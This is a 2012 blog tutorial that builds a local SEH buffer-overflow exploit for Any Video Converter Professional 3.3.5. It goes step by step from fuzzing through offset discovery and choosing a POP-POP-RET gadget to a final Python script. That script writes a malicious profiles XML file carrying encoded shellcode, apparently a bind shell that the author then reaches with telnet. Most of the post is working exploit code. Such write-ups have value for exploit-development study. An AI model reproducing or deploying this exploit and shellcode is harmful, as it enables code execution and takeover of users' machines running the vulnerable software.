♋...Learn Harder, Keep Humble, Not For The Fain Heart !, Respect Others, Try Harder...♋

Saturday, October 6, 2012

Exploit Any Video Converter => Local Exploit (SEH Buffer Overflow)


In this time I try to exploit an application Any Video Converter Professional V 3.3.5 via local exploit.

- The first I make a fuzzer like below 

#!usr/bin/python
file="profiles_v2.xml"
dead="\x41" * 2000
poc="<root>\n"
poc=poc + "<categories>\n"
poc=poc + "<category name=\"" + dead + "\" id=\"0\" icon=\"cat_all.bmp\" desc=\"All Profiles\"/>\n"
poc=poc + "</categories>\n"
poc=poc + "<groups></groups>\n<profiles></profiles>\n</root>\n"
writeFile = open (file, "w")
writeFile.write( poc )
writeFile.close()

print "Success Creating File"
 
Run the fuzzer to make file, and then replace on application directory. Afterthat open application with olly dbg then press Shift+F9 to see the effect


 application crashes, then view SEH chain


Success overwrite SEHandler
The next press Shift+F9 to overwrite EIP


- Second, looking for modules that load by application. In here I found and use DVcapture.dll. Then check the modules using msfpescan


Like the previous case, this step aimed to see if the module that contain value 0x0400 or not in module. Ok, the module can be used for stepping stone.

Then search the command POP, POP, RETN on this module.


We can see, the address not contain character 00,0a,0d.


- Next create a pattern and attach on fuzzer
#!usr/bin/python
file="profiles_v2.xml"
dead="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2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n2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co"
poc="<root>\n"
poc=poc + "<categories>\n""
poc=poc + "<category name=\"" + dead + "\" id=\"0\" icon=\"cat_all.bmp\" desc=\"All Profiles\"/>\n"
poc=poc + "</categories>\n"
poc=poc + "<groups></groups>\n<profiles></profiles>\n</root>\n"
writeFile = open (file, "w")
writeFile.write( poc )
writeFile.close()
print "Success Creating File"

Write the EIP address on above, then count with pattern_offset



Put the offset on fuzzer
#!usr/bin/python
file="profiles_v2.xml"
dead ="\x41" * 328
dead+="\xcc\xcc\xcc\xcc"
dead+="\x41\x41\x41\x41"
dead+="\x90" * (336 - len(dead))
poc="<root>\n"
poc=poc + "<categories>\n"
poc=poc + "<category name=\"" + dead + "\" id=\"0\" icon=\"cat_all.bmp\" desc=\"All Profiles\"/>\n"
poc=poc + "</categories>\n"
poc=poc + "<groups></groups>\n<profiles></profiles>\n</root>\n"
writeFile = open (file, "w")
writeFile.write( poc )
writeFile.close()
print "Success Creating File"

it be can certained the count is correct

- Next step is controlling CPU process with enter the alamat POP, POP, RETN to fuzzer

the address success controlling SEHandler


- Then generate the payload and attach to fuzzer

#!usr/bin/python
file="profiles_v2.xml"
dead ="\x41" * 328
dead+="\xeb\x06\x90\x90"
dead+="\x77\xC1\x01\x10"
dead+=("\xbe\x1b\x3f\xa3\x3e\x31\xc9\xb1\x51\xdb\xcd\xd9\x74\x24\xf4\x5a"
"\x31\x72\x0e\x83\xea\xfc\x03\x69\x35\x41\xcb\x71\x23\x6e\x79\x61"
"\x4d\x8f\x7d\x8e\xce\xfb\xee\x54\x2b\x77\xab\xa8\xb8\xfb\x31\xa8"
"\xbf\xec\xb1\x07\xd8\x79\x9a\xb7\xd9\x96\x6c\x3c\xed\xe3\x6e\xac"
"\x3f\x34\xe9\x9c\xc4\x74\x7e\xdb\x05\xbe\x72\xe2\x47\xd4\x79\xdf"
"\x13\x0f\xaa\x6a\x79\xc4\xf5\xb0\x80\x30\x6f\x33\x8e\x8d\xfb\x1c"
"\x93\x10\x17\xa1\x87\x99\x6e\xc9\xf3\x81\x11\xd2\xcd\x62\xb5\x5f"
"\x6e\xa5\xbd\x1f\x7d\x4e\xb1\x83\xd0\xdb\x72\xb3\x74\xb4\xfc\x8d"
"\x86\xa8\x51\xee\x41\x56\x01\x76\x06\xa4\x97\x1e\xa1\xb9\xe5\x81"
"\x19\xc1\xda\x55\x69\xd0\x27\x9e\x3d\xd4\x0e\xbf\x34\xcf\xc9\xbe"
"\xaa\x18\x14\x95\x5e\x1b\xe7\xc5\xf7\xc2\x1e\x10\xaa\xa2\xdf\x0c"
"\xe6\x1f\x73\xe3\x5a\xe3\x21\x40\x0e\x1c\x16\x22\xd8\xf3\xcb\xca"
"\x4b\x7d\x12\x87\x04\xd9\xcf\xd7\x13\x76\x0f\xc1\xf6\x69\xbe\xb8"
"\xf9\x5a\x28\xe6\xab\x75\x40\xb1\x4c\x5f\xc1\x68\x4c\xb0\x8e\x77"
"\xfb\xb7\x06\x24\x03\x61\xc8\x9a\xaf\xdb\x16\xf2\xc3\x8c\x0f\x8b"
"\x25\x35\x87\x94\x7c\x93\xd8\xba\xe7\x76\x43\x5c\x80\xe5\xe6\x29"
"\xb5\x80\xa8\x70\x1f\x99\xc0\x65\x35\x65\x5a\x8b\xfb\xa5\xaf\xe1"
"\x02\x67\x7d\x0b\xb8\x44\xee\x7e\x47\xad\xbb\x2b\x13\xa5\xc9\xd5"
"\xd7\x25\xd1\x5c\x5c\xb2\xfb\xc5\x0b\x1e\x55\xa8\xe2\xf4\x54\x1b"
"\x54\x5c\x06\x64\x86\x36\x05\x43\x22\x09\x06\x8c\xfb\xff\x56\x8d"
"\x33\xff\x79\xfa\x6b\x03\xfa\x38\xf7\x04\x2b\x92\x07\x2a\xbc\x6c"
"\x22\x29\x4e\xc3\x2f\x78\x4e\x33")
dead+="\x90" * (336 - len(dead))
poc="<root>\n"
poc=poc + "<categories>\n"
poc=poc + "<category name=\"" + dead + "\" id=\"0\" icon=\"cat_all.bmp\" desc=\"All Profiles\"/>\n"
poc=poc + "</categories>\n"
poc=poc + "<groups></groups>\n<profiles></profiles>\n</root>\n"
writeFile = open (file, "w")
writeFile.write( poc )
writeFile.close()
print "Success Creating File"
Afterthat, open the application without olly dbg

 
 And then press command telnet


Success, alhamdulillah ^^









 

No comments:

Post a Comment